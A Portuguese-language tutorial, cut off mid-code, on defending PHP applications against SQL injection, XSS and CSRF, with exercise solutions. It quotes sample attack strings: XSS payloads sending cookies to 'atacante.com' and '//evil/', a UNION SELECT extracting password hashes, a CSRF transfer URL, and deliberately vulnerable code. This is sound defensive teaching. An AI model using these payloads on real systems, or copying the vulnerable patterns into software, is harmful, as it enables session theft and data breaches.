Segurança não é um módulo separado que você adiciona ao projeto no final. É uma camada que permeia cada linha de código que recebe, processa ou exibe dados externos. Os três vetores de ataque mais comuns em aplicações PHP — SQL Injection, XSS e CSRF — respondem por uma parcela enorme das vulnerabilidades exploradas na web. Todos são preveníveis com técnicas simples, mas exigem disciplina consistente.
Neste artigo entendemos como cada ataque funciona, por que as defesas funcionam, e como implementá-las de forma que se torne hábito natural no seu código.
SQL Injection
SQL Injection acontece quando dados do usuário são concatenados diretamente em uma query SQL, permitindo que o atacante modifique a estrutura da query.
O código vulnerável:
<?php
// NUNCA faça isso
$email = $_POST['email'];
$query = "SELECT * FROM usuarios WHERE email = '$email'";
$resultado = $pdo->query($query);
Se o usuário enviar ' OR '1'='1, a query vira:
SELECT * FROM usuarios WHERE email = '' OR '1'='1'
Isso retorna todos os usuários. Com variações mais agressivas, o atacante pode deletar tabelas, extrair senhas, ou executar comandos no sistema operacional.
A defesa: prepared statements com parâmetros:
<?php
declare(strict_types=1);
// Correto — o valor do usuário nunca toca na estrutura da query
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE email = ?');
$stmt->execute([$email]);
$usuario = $stmt->fetch();
// Com named parameters — mais legível em queries longas
$stmt = $pdo->prepare(
'SELECT id, nome, email FROM usuarios
WHERE email = :email AND ativo = :ativo'
);
$stmt->execute([
':email' => $email,
':ativo' => 1,
]);
// INSERT também — nunca concatene valores em DML
$stmt = $pdo->prepare(
'INSERT INTO usuarios (nome, email, senha_hash) VALUES (?, ?, ?)'
);
$stmt->execute([$nome, $email, password_hash($senha, PASSWORD_ARGON2ID)]);
O mecanismo de proteção é a separação entre código e dados. O banco de dados recebe a estrutura da query e os valores separadamente — o driver de banco nunca interpreta os valores como SQL.
Identificadores dinâmicos — o caso especial:
Prepared statements protegem valores, mas não nomes de colunas ou tabelas. Se você precisar de um identificador dinâmico, use whitelist:
<?php
// Ordenação por coluna dinâmica — vulnerável se não validado
$coluna = $_GET['ordenar'] ?? 'nome';
$direcao = $_GET['direcao'] ?? 'ASC';
// Whitelist: só permite valores conhecidos
$colunaPermitida = in_array($coluna, ['nome', 'email', 'criado_em'], strict: true)
? $coluna : 'nome';
$direcaoPermitida = in_array(strtoupper($direcao), ['ASC', 'DESC'], strict: true)
? strtoupper($direcao) : 'ASC';
// Agora é seguro interpolar — são valores que você controla
$stmt = $pdo->query(
"SELECT * FROM usuarios ORDER BY {$colunaPermitida} {$direcaoPermitida} LIMIT 50"
);
XSS — Cross-Site Scripting
XSS acontece quando dados do usuário são exibidos no HTML sem escape, permitindo que o atacante injete scripts que rodam no navegador de outras pessoas.
O código vulnerável:
<?php
// NUNCA faça isso
echo "Bem-vindo, " . $_GET['nome'] . "!";
Se o usuário acessar ?nome=<script>document.location='https://atacante.com/roubo?c='+document.cookie</script>, o script roda no navegador de qualquer pessoa que acesse essa URL — roubando cookies de sessão.
A defesa: htmlspecialchars() em toda saída:
<?php
// SEMPRE escape antes de exibir no HTML.
// O ENT_SUBSTITUTE não é detalhe: sem ele, um único byte inválido em UTF-8
// faz o htmlspecialchars devolver STRING VAZIA, e o conteúdo some da tela sem
// erro nenhum — acontece com dado vindo de banco legado em ISO-8859-1 ou de
// formulário com charset errado. E repare: como o PHP 8.1 já traz
// ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401 por padrão, passar as flags à
// mão sem incluir ENT_SUBSTITUTE deixa o código pior do que estaria sem elas.
function h(string $texto): string
{
return htmlspecialchars($texto, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');
}
echo "Bem-vindo, " . h($_GET['nome']) . "!";
// Em atributos HTML — também precisa de escape
echo '<input value="' . h($valor) . '">';
// Em atributos de evento — escape NÃO é suficiente, evite dados dinâmicos
// <button onclick="ação('<?= h($valor) ?>')"> — ainda arriscado
Content Security Policy — defesa em profundidade:
Mesmo que um XSS escorregue pelo seu código, o CSP instrui o navegador a não executar scripts não autorizados:
<?php
// Envie o header CSP em todas as páginas
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;");
Armazenando e exibindo HTML do usuário:
Às vezes você precisa exibir HTML enviado pelo usuário (editores rich text). Nunca exiba HTML bruto — use uma biblioteca de sanitização:
<?php
// Instale via composer: composer require ezyang/htmlpurifier
require 'vendor/autoload.php';
$config = HTMLPurifier_Config::createDefault();
$purificador = new HTMLPurifier($config);
$htmlLimpo = $purificador->purify($_POST['conteudo']);
// Agora é seguro salvar no banco e exibir
CSRF — Cross-Site Request Forgery
CSRF é um ataque onde um site malicioso faz o navegador da vítima enviar uma requisição autenticada para outro site — sem que a vítima saiba. Se você está logado em banco.com e visita malicioso.com, uma imagem invisível com src="https://banco.com/transferir?valor=5000&destino=hacker" pode acionar uma transferência usando sua sessão ativa.
A defesa: token CSRF sincronizado:
<?php
declare(strict_types=1);
class TokenCSRF
{
private const CHAVE_SESSION = 'csrf_token';
private const TTL = 3600; // 1 hora
public static function gerar(): string
{
if (session_status() !== PHP_SESSION_ACTIVE) {
session_start();
}
// Regenera se não existir ou estiver expirado
if (!isset($_SESSION[self::CHAVE_SESSION]) ||
time() > ($_SESSION['csrf_expira'] ?? 0)) {
$_SESSION[self::CHAVE_SESSION] = bin2hex(random_bytes(32));
$_SESSION['csrf_expira'] = time() + self::TTL;
}
return $_SESSION[self::CHAVE_SESSION];
}
public static function validar(string $tokenEnviado): bool
{
if (session_status() !== PHP_SESSION_ACTIVE) {
session_start();
}
$tokenSessao = $_SESSION[self::CHAVE_SESSION] ?? '';
// hash_equals: comparação em tempo constante — previne timing attacks
return hash_equals($tokenSessao, $tokenEnviado)
&& time() <= ($_SESSION['csrf_expira'] ?? 0);
}
public static function campoHidden(): string
{
return '<input type="hidden" name="csrf_token" value="' . self::gerar() . '">';
}
}
Usando o token nos formulários:
<!-- Todo formulário POST deve incluir o token -->
<form method="POST" action="/transferir">
<?= TokenCSRF::campoHidden() ?>
<input type="number" name="valor" placeholder="Valor">
<button type="submit">Transferir</button>
</form>
Validando no servidor antes de processar qualquer POST:
<?php
function verificarCSRF(): void
{
// Não basta olhar o POST. Uma API que aceita PUT, PATCH e DELETE
// precisa de token nos três — são os métodos que alteram estado tanto
// quanto o POST. A lista aqui é do que está DISPENSADO, e não do que
// está sujeito: assim, um método novo já nasce protegido.
$semEstado = ['GET', 'HEAD', 'OPTIONS'];
if (in_array($_SERVER['REQUEST_METHOD'], $semEstado, true)) {
return;
}
// Em PUT, PATCH e DELETE o corpo não vira $_POST: o token vem do header.
$tokenEnviado = $_POST['csrf_token'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!TokenCSRF::validar($tokenEnviado)) {
http_response_code(403);
die('Token CSRF inválido ou expirado.');
}
}
// No início de qualquer script que processa POST:
session_start();
verificarCSRF();
Middleware de segurança — centralizando as defesas
Em vez de repetir verificações em cada arquivo, crie um ponto central:
<?php
declare(strict_types=1);
class MiddlewareDeSeguranca
{
public static function aplicar(): void
{
// Headers de segurança em todas as respostas
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: SAMEORIGIN');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: strict-origin-when-cross-origin');
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
// Verifica CSRF em POSTs
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$token = $_POST['csrf_token'] ?? '';
if (!TokenCSRF::validar($token)) {
http_response_code(403);
die('Requisição inválida.');
}
}
}
}
// Em cada página (ou em um bootstrap que todas as páginas incluem):
session_start();
MiddlewareDeSeguranca::aplicar();
Password hashing correto
Senhas nunca devem ser armazenadas em texto plano, nem com MD5 ou SHA1. Use password_hash():
<?php
// Criar senha
$hash = password_hash($senhaDigitada, PASSWORD_ARGON2ID, [
'memory_cost' => 65536, // 64MB de memória
'time_cost' => 4, // 4 iterações
'threads' => 2,
]);
// Verificar senha
if (!password_verify($senhaDigitada, $hashNoBanco)) {
// Senha incorreta
}
// Verificar se o hash precisa ser atualizado (algoritmo mais novo disponível)
if (password_needs_rehash($hashNoBanco, PASSWORD_ARGON2ID)) {
$novoHash = password_hash($senhaDigitada, PASSWORD_ARGON2ID);
// Atualiza no banco
}
Os três ataques têm a mesma raiz: dado de origem externa sendo tratado como se fosse código do programa. No SQL Injection o texto vira estrutura da query; no XSS vira marcação na página; no CSRF é a própria requisição que vem de fora se passando por legítima. Por isso as defesas se parecem tanto — todas separam o que é instrução do que é conteúdo, e nenhuma depende de adivinhar qual entrada é perigosa.
O que costuma falhar não é conhecer a técnica, é aplicá-la sem exceção. Escape na saída, e não na entrada, porque o mesmo texto vai para HTML, para JSON e para e-mail com regras diferentes em cada um. Lista branca para identificador que entra na query, já que parâmetro não cobre nome de coluna. E token em todo método que altera estado — escrever a regra pelos métodos dispensados, em vez de listá-los um a um, é o que faz o próximo endpoint nascer protegido.
Fontes e leituras recomendadas
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- PHP Manual — password_hash: https://www.php.net/manual/pt_BR/function.password-hash.php
Exercícios
Exercício 1
Audite um projeto PHP seu (ou um código de exemplo) buscando os três vetores: concatenação de SQL, echo sem htmlspecialchars, formulários POST sem token CSRF. Corrija cada ocorrência.
Ver resposta
✓ Resposta: As três correções seguem uma regra só: separar código de dado. Em SQL isso é o parâmetro; em HTML é o htmlspecialchars na saída; no CSRF é provar que o pedido veio da sua própria página. E note o que a lista branca resolve: prepared statement liga valor, nunca identificador — ORDER BY :coluna não existe, e é exatamente aí que a injeção volta em código "já corrigido".
<?php
// ---------- ANTES: 38 linhas com os três vetores ao mesmo tempo ----------
declare(strict_types=1);
// public/busca-antiga.php — NÃO use isto. É o alvo da auditoria.
$termo = $_GET['q'] ?? '';
$ordem = $_GET['ordem'] ?? 'nome';
// (1) SQL INJECTION — o termo entra concatenado na query.
// ?q=' UNION SELECT senha_hash,1,1 FROM usuarios--
$sql = "SELECT id, nome, preco FROM produtos
WHERE nome LIKE '%{$termo}%' ORDER BY {$ordem}";
$linhas = $pdo->query($sql)->fetchAll();
// (2) XSS refletido — o termo volta para a página sem escape.
// ?q=<script>fetch('//evil/'+document.cookie)</script>
echo "<p>Resultados para: {$termo}</p>";
foreach ($linhas as $linha) {
// (2b) XSS armazenado — o nome do produto veio do banco, mas foi
// gravado por um formulário. "Vem do banco" não significa seguro.
echo "<li>{$linha['nome']} — R$ {$linha['preco']}</li>";
}
// (3) POST sem CSRF — qualquer site consegue disparar este formulário
// no navegador de quem está logado aqui.
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$pdo->query("DELETE FROM produtos WHERE id = " . $_POST['id']);
echo 'Produto removido.';
}
// ---------- DEPOIS: mesma funcionalidade, os três vetores fechados --------
declare(strict_types=1);
// public/busca.php
require __DIR__ . '/../vendor/autoload.php';
use App\Seguranca\TokenCSRF;
session_start();
$pdo = require __DIR__ . '/../config/pdo.php';
$csrf = new TokenCSRF();
$termo = trim((string) ($_GET['q'] ?? ''));
// (3) CORRIGIDO — todo POST passa pelo token antes de qualquer efeito.
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!$csrf->validar((string) ($_POST['_token'] ?? ''))) {
http_response_code(419);
exit('Sessão expirada. Recarregue a página e tente de novo.');
}
// O id também é dado do usuário: cast para int + parâmetro.
$remocao = $pdo->prepare('DELETE FROM produtos WHERE id = :id');
$remocao->execute([':id' => (int) $_POST['id']]);
header('Location: /busca.php?q=' . urlencode($termo), true, 303);
exit;
}
// (1a) CORRIGIDO — o VALOR vira parâmetro. Os curingas do LIKE entram no
// valor ligado, nunca na string SQL.
// (1b) CORRIGIDO — a COLUNA de ordenação não pode ser parâmetro (prepared
// statement não liga identificador), então passa por lista branca.
$ordenacoes = [
'nome' => 'nome ASC',
'preco_asc' => 'preco ASC',
'preco_desc' => 'preco DESC',
'novidades' => 'criado_em DESC',
];
$ordem = $ordenacoes[$_GET['ordem'] ?? ''] ?? $ordenacoes['nome'];
$stmt = $pdo->prepare(
"SELECT id, nome, preco FROM produtos
WHERE nome LIKE :termo
ORDER BY {$ordem}
LIMIT 50"
);
// addcslashes escapa os curingas: buscar por "100%" tem de procurar o
// literal "100%", não "100" seguido de qualquer coisa.
$stmt->execute([':termo' => '%' . addcslashes($termo, '%_\\') . '%']);
$produtos = $stmt->fetchAll();
$token = $csrf->gerar();
require __DIR__ . '/../templates/busca.php';
// ---------- O checklist que a auditoria seguiu ----------------------------
// grep -rn 'query(' src/ public/ → toda query() com "$" na string é suspeita
// grep -rn 'echo \$' templates/ → todo echo de variável sem htmlspecialchars
// grep -rln 'method="post"' templates/ | xargs grep -L '_token'
// → todo formulário POST sem token
// ---------------------------------------- templates/busca.php
?>
<!-- (2) CORRIGIDO — escape na SAÍDA, no momento exato de imprimir.
Escapar na entrada corrompe o dado no banco e ainda erra o contexto:
o mesmo texto precisa de escape diferente em HTML, em atributo e em JS. -->
<p>Resultados para: <?= htmlspecialchars($termo, ENT_QUOTES, 'UTF-8') ?></p>
<ul>
<?php foreach ($produtos as $produto): ?>
<li>
<?= htmlspecialchars($produto['nome'], ENT_QUOTES, 'UTF-8') ?>
— R$ <?= number_format((float) $produto['preco'], 2, ',', '.') ?>
<form method="post" style="display:inline">
<input type="hidden" name="_token"
value="<?= htmlspecialchars($token, ENT_QUOTES, 'UTF-8') ?>">
<input type="hidden" name="id" value="<?= (int) $produto['id'] ?>">
<button type="submit">Remover</button>
</form>
</li>
<?php endforeach; ?>
</ul>
Exercício 2
Implemente a classe TokenCSRF completa com testes PHPUnit: teste que tokens inválidos são rejeitados, que tokens expirados são rejeitados, e que hash_equals está sendo usado (mock para verificar timing safety).
Ver resposta
✓ Resposta: Duas escolhas de projeto valem mais que o código: o token é por sessão, não por formulário — token por formulário quebra o usuário que abre duas abas — e a comparação é uma dependência injetada. "Testar timing safety" medindo relógio produz teste instável; o que se testa de verdade é que a validação delegou a comparação ao caminho seguro. E o hash_equals só protege se o argumento esperado vier primeiro: a assinatura é (conhecido, recebido).
<?php
// ---------------------------------------- src/Seguranca/Comparador.php
declare(strict_types=1);
namespace App\Seguranca;
/**
* Existe por causa do teste. Comparação de segredo tem de ser em tempo
* constante, e "medir o tempo" num teste é receita de suíte instável — a
* máquina de CI oscila mais que a diferença que se quer medir.
*
* Tornando a dependência explícita, o teste verifica o que de fato importa:
* que o caminho de comparação usado é o seguro.
*/
interface Comparador
{
public function iguais(string $esperado, string $recebido): bool;
}
// ---------------------------------------- src/Seguranca/ComparadorSeguro.php
declare(strict_types=1);
namespace App\Seguranca;
final class ComparadorSeguro implements Comparador
{
public function iguais(string $esperado, string $recebido): bool
{
// hash_equals compara TODOS os bytes sempre. O === curto-circuita no
// primeiro byte diferente, e essa diferença de microssegundos é
// suficiente para adivinhar um token byte a byte.
return hash_equals($esperado, $recebido);
}
}
// ---------------------------------------- src/Seguranca/TokenCSRF.php
declare(strict_types=1);
namespace App\Seguranca;
final class TokenCSRF
{
private const CHAVE = '_csrf';
public function __construct(
private readonly int $validadeSegundos = 7200,
private readonly Comparador $comparador = new ComparadorSeguro(),
) {
if (session_status() !== PHP_SESSION_ACTIVE) {
throw new \LogicException('Inicie a sessão antes de usar o TokenCSRF.');
}
}
/**
* Um token por sessão, reaproveitado enquanto for válido. Gerar um token
* novo por formulário quebra abas paralelas: o usuário abre duas, envia a
* primeira, e a segunda passa a carregar um token já vencido.
*/
public function gerar(): string
{
$atual = $_SESSION[self::CHAVE] ?? null;
if (is_array($atual) && $atual['expira_em'] > time()) {
return $atual['valor'];
}
// random_bytes é CSPRNG. rand(), mt_rand() e uniqid() são previsíveis
// — com uniqid() o "segredo" é o relógio do servidor.
$valor = bin2hex(random_bytes(32));
$_SESSION[self::CHAVE] = [
'valor' => $valor,
'expira_em' => time() + $this->validadeSegundos,
];
return $valor;
}
public function validar(string $recebido): bool
{
$guardado = $_SESSION[self::CHAVE] ?? null;
if (!is_array($guardado) || $recebido === '') {
return false;
}
if ($guardado['expira_em'] <= time()) {
unset($_SESSION[self::CHAVE]);
return false;
}
return $this->comparador->iguais($guardado['valor'], $recebido);
}
/** Depois de uma ação sensível (troca de senha, exclusão de conta). */
public function invalidar(): void
{
unset($_SESSION[self::CHAVE]);
}
public function campoOculto(): string
{
return sprintf(
'<input type="hidden" name="_token" value="%s">',
htmlspecialchars($this->gerar(), ENT_QUOTES, 'UTF-8'),
);
}
}
// ---------------------------------------- tests/Seguranca/TokenCSRFTest.php
declare(strict_types=1);
namespace Tests\Seguranca;
use App\Seguranca\Comparador;
use App\Seguranca\ComparadorSeguro;
use App\Seguranca\TokenCSRF;
use PHPUnit\Framework\Attributes\RunInSeparateProcess;
use PHPUnit\Framework\TestCase;
final class TokenCSRFTest extends TestCase
{
protected function setUp(): void
{
if (session_status() !== PHP_SESSION_ACTIVE) {
// Sem cookie: em CLI não há resposta HTTP para mandar o header.
@session_start();
}
$_SESSION = [];
}
public function testTokenGeradoEValido(): void
{
$csrf = new TokenCSRF();
$this->assertTrue($csrf->validar($csrf->gerar()));
}
public function testTokenTemEntropiaSuficiente(): void
{
$csrf = new TokenCSRF();
// 32 bytes → 64 hexadecimais. Menos que isso é força bruta viável.
$this->assertSame(64, strlen($csrf->gerar()));
}
public function testTokenInvalidoERejeitado(): void
{
$csrf = new TokenCSRF();
$csrf->gerar();
$this->assertFalse($csrf->validar('token-inventado'));
$this->assertFalse($csrf->validar(''));
// O caso que mais escapa: token de tamanho certo, valor errado.
$this->assertFalse($csrf->validar(str_repeat('a', 64)));
}
public function testSemTokenNaSessaoNadaEValido(): void
{
$this->assertFalse((new TokenCSRF())->validar(str_repeat('b', 64)));
}
public function testTokenExpiradoERejeitado(): void
{
$csrf = new TokenCSRF(validadeSegundos: 1);
$valor = $csrf->gerar();
// Em vez de sleep(2) — que faz a suíte inteira ficar mais lenta —
// envelhece o token direto na sessão. O relógio é dado, não destino.
$_SESSION['_csrf']['expira_em'] = time() - 1;
$this->assertFalse($csrf->validar($valor));
// E o token vencido some da sessão, em vez de ficar por lá.
$this->assertArrayNotHasKey('_csrf', $_SESSION);
}
public function testTokenEReaproveitadoEnquantoValido(): void
{
$csrf = new TokenCSRF();
// Duas abas abertas têm de receber o MESMO token.
$this->assertSame($csrf->gerar(), $csrf->gerar());
}
public function testInvalidarDerrubaOToken(): void
{
$csrf = new TokenCSRF();
$valor = $csrf->gerar();
$csrf->invalidar();
$this->assertFalse($csrf->validar($valor));
}
public function testAComparacaoUsaOCaminhoDeTempoConstante(): void
{
// O dublê registra a chamada; a asserção é que a validação delegou a
// comparação ao Comparador, em vez de usar === escondido lá dentro.
$espiao = new class implements Comparador {
public int $chamadas = 0;
public function iguais(string $esperado, string $recebido): bool
{
$this->chamadas++;
return hash_equals($esperado, $recebido);
}
};
$csrf = new TokenCSRF(comparador: $espiao);
$valor = $csrf->gerar();
$this->assertTrue($csrf->validar($valor));
$this->assertSame(1, $espiao->chamadas);
}
public function testComparadorSeguroDistingueValoresDoMesmoTamanho(): void
{
$comparador = new ComparadorSeguro();
$this->assertTrue($comparador->iguais('abc123', 'abc123'));
$this->assertFalse($comparador->iguais('abc123', 'abc124'));
// hash_equals devolve false para tamanhos diferentes, sem vazar tempo.
$this->assertFalse($comparador->iguais('abc123', 'abc1234'));
}
}
Exercício 3
Adicione um middleware que aplica automaticamente os headers de segurança HTTP em todas as respostas e valida o CSRF em POSTs.
Ver resposta
✓ Resposta: A ordem da cebola é a parte que se erra calado: os headers entram fora do CSRF, de modo que até a resposta 419 saia protegida. Se o middleware de segurança estivesse por dentro, toda resposta de erro — justamente as que mais aparecem em ataque — sairia sem CSP. E a isenção do webhook não é preguiça: requisição servidor-a-servidor não tem cookie para o CSRF proteger; ali a defesa é assinatura HMAC.
<?php
// ---------------------------------------- src/Http/Requisicao.php
declare(strict_types=1);
namespace App\Http;
final class Requisicao
{
public function __construct(
public readonly string $metodo,
public readonly string $caminho,
/** @var array<string, string> */
public readonly array $cabecalhos = [],
/** @var array<string, mixed> */
public readonly array $post = [],
) {}
public static function daGlobal(): self
{
return new self(
strtoupper((string) ($_SERVER['REQUEST_METHOD'] ?? 'GET')),
parse_url((string) ($_SERVER['REQUEST_URI'] ?? '/'), PHP_URL_PATH) ?: '/',
function_exists('getallheaders') ? (array) getallheaders() : [],
$_POST,
);
}
public function cabecalho(string $nome): ?string
{
// Nome de header é case-insensitive pela RFC, e cada servidor
// normaliza de um jeito. Comparar em minúsculas evita a surpresa.
foreach ($this->cabecalhos as $chave => $valor) {
if (strcasecmp($chave, $nome) === 0) {
return (string) $valor;
}
}
return null;
}
/** POST, PUT, PATCH e DELETE mudam estado — são os que exigem token. */
public function mudaEstado(): bool
{
return in_array($this->metodo, ['POST', 'PUT', 'PATCH', 'DELETE'], true);
}
}
// ---------------------------------------- src/Http/Resposta.php
declare(strict_types=1);
namespace App\Http;
final class Resposta
{
/** @param array<string, string> $cabecalhos */
public function __construct(
public readonly string $corpo = '',
public readonly int $status = 200,
public readonly array $cabecalhos = [],
) {}
public function comCabecalho(string $nome, string $valor): self
{
// Imutável: devolve cópia. Middleware que muta a resposta que recebeu
// vira bug de ordem de execução na primeira refatoração.
return new self($this->corpo, $this->status, [...$this->cabecalhos, $nome => $valor]);
}
public function enviar(): void
{
http_response_code($this->status);
foreach ($this->cabecalhos as $nome => $valor) {
header("{$nome}: {$valor}");
}
echo $this->corpo;
}
}
// ---------------------------------------- src/Http/Middleware.php
declare(strict_types=1);
namespace App\Http;
interface Middleware
{
/** @param callable(Requisicao): Resposta $proximo */
public function processar(Requisicao $requisicao, callable $proximo): Resposta;
}
// ---------------------------------------- src/Http/HeadersDeSeguranca.php
declare(strict_types=1);
namespace App\Http;
final class HeadersDeSeguranca implements Middleware
{
public function __construct(private readonly bool $producao = true) {}
public function processar(Requisicao $requisicao, callable $proximo): Resposta
{
$resposta = $proximo($requisicao);
// Depois do handler: o middleware carimba a resposta pronta, e assim
// vale para TODA rota — inclusive a que alguém criar amanhã.
foreach ($this->cabecalhos() as $nome => $valor) {
$resposta = $resposta->comCabecalho($nome, $valor);
}
return $resposta;
}
/** @return array<string, string> */
private function cabecalhos(): array
{
$lista = [
// A CSP é a única defesa que age DEPOIS do XSS: mesmo com script
// injetado, o navegador se recusa a executá-lo.
'Content-Security-Policy' => implode('; ', [
"default-src 'self'",
"script-src 'self'",
"style-src 'self'",
"img-src 'self' data:",
"object-src 'none'",
"base-uri 'self'",
// Impede que o POST do seu formulário seja redirecionado
// para outro domínio por HTML injetado.
"form-action 'self'",
"frame-ancestors 'none'",
]),
'X-Content-Type-Options' => 'nosniff',
'Referrer-Policy' => 'strict-origin-when-cross-origin',
'Permissions-Policy' => 'geolocation=(), microphone=(), camera=()',
// X-Frame-Options é redundante com frame-ancestors, mas navegador
// antigo só entende o antigo.
'X-Frame-Options' => 'DENY',
];
if ($this->producao) {
// HSTS só sob HTTPS: em http:// o header é ignorado, e ligá-lo em
// ambiente local tranca o navegador do time em https por 2 anos.
$lista['Strict-Transport-Security'] = 'max-age=63072000; includeSubDomains';
}
return $lista;
}
}
// ---------------------------------------- src/Http/ValidaCSRF.php
declare(strict_types=1);
namespace App\Http;
use App\Seguranca\TokenCSRF;
final class ValidaCSRF implements Middleware
{
/** @param list<string> $rotasIsentas */
public function __construct(
private readonly TokenCSRF $csrf,
private readonly array $rotasIsentas = [],
) {}
public function processar(Requisicao $requisicao, callable $proximo): Resposta
{
if (!$requisicao->mudaEstado() || $this->isenta($requisicao->caminho)) {
return $proximo($requisicao);
}
// O token pode vir no corpo (formulário) ou no header (fetch/AJAX).
$recebido = (string) ($requisicao->post['_token']
?? $requisicao->cabecalho('X-CSRF-Token')
?? '');
if (!$this->csrf->validar($recebido)) {
// 419 não é RFC, mas é o que Laravel popularizou para "sessão
// expirou" — distingue de 403 (não pode) e 401 (não logou).
return new Resposta('Token CSRF inválido ou expirado.', 419);
}
return $proximo($requisicao);
}
private function isenta(string $caminho): bool
{
foreach ($this->rotasIsentas as $padrao) {
if (fnmatch($padrao, $caminho)) {
return true;
}
}
return false;
}
}
// ---------------------------------------- src/Http/Pilha.php
declare(strict_types=1);
namespace App\Http;
final class Pilha
{
/** @param list<Middleware> $middlewares */
public function __construct(private readonly array $middlewares) {}
/** @param callable(Requisicao): Resposta $handler */
public function executar(Requisicao $requisicao, callable $handler): Resposta
{
// Cebola: reduz de trás para frente, então o primeiro da lista é o
// mais externo — o último a ver a resposta, e por isso o que carimba
// os headers mesmo quando o CSRF barrou lá dentro.
$cadeia = array_reduce(
array_reverse($this->middlewares),
static fn (callable $proximo, Middleware $mw): callable
=> static fn (Requisicao $req): Resposta => $mw->processar($req, $proximo),
$handler,
);
return $cadeia($requisicao);
}
}
// ---------------------------------------- public/index.php
declare(strict_types=1);
require __DIR__ . '/../vendor/autoload.php';
use App\Http\HeadersDeSeguranca;
use App\Http\Pilha;
use App\Http\Requisicao;
use App\Http\Resposta;
use App\Http\ValidaCSRF;
use App\Seguranca\TokenCSRF;
session_start();
$pilha = new Pilha([
new HeadersDeSeguranca(producao: getenv('APP_ENV') === 'producao'),
// Webhook de gateway de pagamento não tem sessão nem token: a defesa
// dele é a assinatura HMAC do próprio provedor.
new ValidaCSRF(new TokenCSRF(), rotasIsentas: ['/webhooks/*']),
]);
$resposta = $pilha->executar(
Requisicao::daGlobal(),
static fn (Requisicao $req): Resposta => new Resposta('<h1>Olá</h1>'),
);
$resposta->enviar();
Exercício 4
Implemente um formulário de busca com ordenação dinâmica. Garanta que a coluna e direção de ordenação passam por whitelist antes de serem interpoladas na query.
Ver resposta
✓ Resposta: Repare no que o usuário envia: ordem=preco_menor — uma chave, não um pedaço de SQL. Toda a diferença está aí. A variante que parece equivalente e não é: receber o nome da coluna e conferir com in_array() contra a lista de colunas — funciona até alguém acrescentar coluna nova e esquecer da lista. Mapa fechado falha para o lado seguro; validação por lista falha para o lado aberto.
<?php
// ---------------------------------------- src/Busca/CriteriosDeBusca.php
declare(strict_types=1);
namespace App\Busca;
/**
* A ideia que sustenta a classe: nada do que o usuário digita chega ao SQL
* como texto. O que ele envia é apenas uma CHAVE de um mapa que o programador
* escreveu — o valor SQL correspondente nunca sai daqui.
*/
final class CriteriosDeBusca
{
/** @var array<string, string> chave pública → expressão SQL */
private const ORDENACOES = [
'relevancia' => 'relevancia DESC, p.nome ASC',
'nome' => 'p.nome ASC',
'preco_menor' => 'p.preco ASC',
'preco_maior' => 'p.preco DESC',
'novidades' => 'p.criado_em DESC',
'vendidos' => 'p.total_vendido DESC',
];
private const POR_PAGINA = [12, 24, 48];
public function __construct(
public readonly string $termo,
public readonly string $ordem,
public readonly int $pagina,
public readonly int $porPagina,
public readonly ?int $categoriaId,
) {}
/** @param array<string, mixed> $query normalmente $_GET */
public static function de(array $query): self
{
$ordem = (string) ($query['ordem'] ?? 'relevancia');
return new self(
// mb_substr limita o termo: busca de 4 KB é ataque de CPU, não
// usuário curioso.
termo: mb_substr(trim((string) ($query['q'] ?? '')), 0, 100),
ordem: isset(self::ORDENACOES[$ordem]) ? $ordem : 'relevancia',
pagina: max(1, (int) ($query['pagina'] ?? 1)),
porPagina: in_array((int) ($query['por'] ?? 12), self::POR_PAGINA, true)
? (int) $query['por']
: 12,
categoriaId: isset($query['categoria']) && ctype_digit((string) $query['categoria'])
? (int) $query['categoria']
: null,
);
}
/**
* O único ponto do sistema que devolve SQL de ordenação — e ele sempre
* devolve uma das seis constantes acima, mesmo com ordem inventada.
*/
public function orderBy(): string
{
return self::ORDENACOES[$this->ordem] ?? self::ORDENACOES['relevancia'];
}
/** @return array<string, string> para montar os links da interface */
public static function opcoes(): array
{
return [
'relevancia' => 'Mais relevantes',
'nome' => 'Nome (A-Z)',
'preco_menor' => 'Menor preço',
'preco_maior' => 'Maior preço',
'novidades' => 'Novidades',
'vendidos' => 'Mais vendidos',
];
}
}
// ---------------------------------------- src/Busca/ProdutoRepositorio.php
declare(strict_types=1);
namespace App\Busca;
use PDO;
final class ProdutoRepositorio
{
public function __construct(private readonly PDO $pdo) {}
/** @return array{itens: list<array<string, mixed>>, total: int} */
public function buscar(CriteriosDeBusca $criterios): array
{
$where = ['p.ativo = 1'];
$params = [];
if ($criterios->termo !== '') {
$where[] = '(p.nome LIKE :termo OR p.descricao LIKE :termo)';
// Escapar % e _ : sem isso, buscar "50%" varre o catálogo inteiro.
$params[':termo'] = '%' . addcslashes($criterios->termo, '%_\\') . '%';
}
if ($criterios->categoriaId !== null) {
$where[] = 'p.categoria_id = :categoria';
$params[':categoria'] = $criterios->categoriaId;
}
$filtro = implode(' AND ', $where);
$total = $this->pdo->prepare("SELECT COUNT(*) FROM produtos p WHERE {$filtro}");
$total->execute($params);
// Relevância simples: nome que COMEÇA com o termo vem antes.
$relevancia = $criterios->termo !== ''
? '(CASE WHEN p.nome LIKE :prefixo THEN 2
WHEN p.nome LIKE :termo THEN 1 ELSE 0 END)'
: '0';
$sql = sprintf(
'SELECT p.id, p.nome, p.preco, p.criado_em, %s AS relevancia
FROM produtos p
WHERE %s
ORDER BY %s
LIMIT %d OFFSET %d',
$relevancia,
$filtro,
// Vem de CriteriosDeBusca, que só devolve constante da classe.
// Interpolar aqui é seguro porque a origem é fechada.
$criterios->orderBy(),
